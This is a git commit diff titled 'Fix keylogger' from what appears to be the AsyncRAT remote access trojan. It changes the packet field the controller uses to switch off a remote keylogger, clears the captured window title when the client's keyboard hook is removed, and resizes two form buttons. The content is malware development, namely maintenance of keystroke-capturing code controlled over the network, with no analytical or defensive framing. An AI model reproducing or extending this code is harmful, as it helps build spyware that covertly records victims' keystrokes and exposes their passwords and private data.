Fix keylogger

This commit is contained in:
NYAN CAT 2019-04-15 10:23:58 -07:00
parent 57d1144388
commit ed59bc3449
5 changed files with 5 additions and 4 deletions

View File

@ -31,7 +31,7 @@ namespace AsyncRAT_Sharp.Forms
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("Log").AsString = "false"; msgpack.ForcePathObject("isON").AsString = "false";
C.BeginSend(msgpack.Encode2Bytes()); C.BeginSend(msgpack.Encode2Bytes());
} }
} }

View File

@ -62,7 +62,7 @@
// //
this.button1.Location = new System.Drawing.Point(112, 87); this.button1.Location = new System.Drawing.Point(112, 87);
this.button1.Name = "button1"; this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(201, 28); this.button1.Size = new System.Drawing.Size(201, 30);
this.button1.TabIndex = 1; this.button1.TabIndex = 1;
this.button1.Text = "Browser"; this.button1.Text = "Browser";
this.button1.UseVisualStyleBackColor = true; this.button1.UseVisualStyleBackColor = true;
@ -127,7 +127,7 @@
// //
this.button2.Location = new System.Drawing.Point(22, 220); this.button2.Location = new System.Drawing.Point(22, 220);
this.button2.Name = "button2"; this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(303, 28); this.button2.Size = new System.Drawing.Size(303, 30);
this.button2.TabIndex = 1; this.button2.TabIndex = 1;
this.button2.Text = "OK"; this.button2.Text = "OK";
this.button2.UseVisualStyleBackColor = true; this.button2.UseVisualStyleBackColor = true;

View File

@ -229,7 +229,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("Log").AsString = "false"; msgpack.ForcePathObject("isON").AsString = "false";
Client.BeginSend(msgpack.Encode2Bytes()); Client.BeginSend(msgpack.Encode2Bytes());
} }
})); }));

View File

@ -28,6 +28,7 @@ namespace Client.Handle_Packet
if (isON == false) if (isON == false)
{ {
UnhookWindowsHookEx(_hookID); UnhookWindowsHookEx(_hookID);
CurrentActiveWindowTitle = "";
break; break;
} }
} }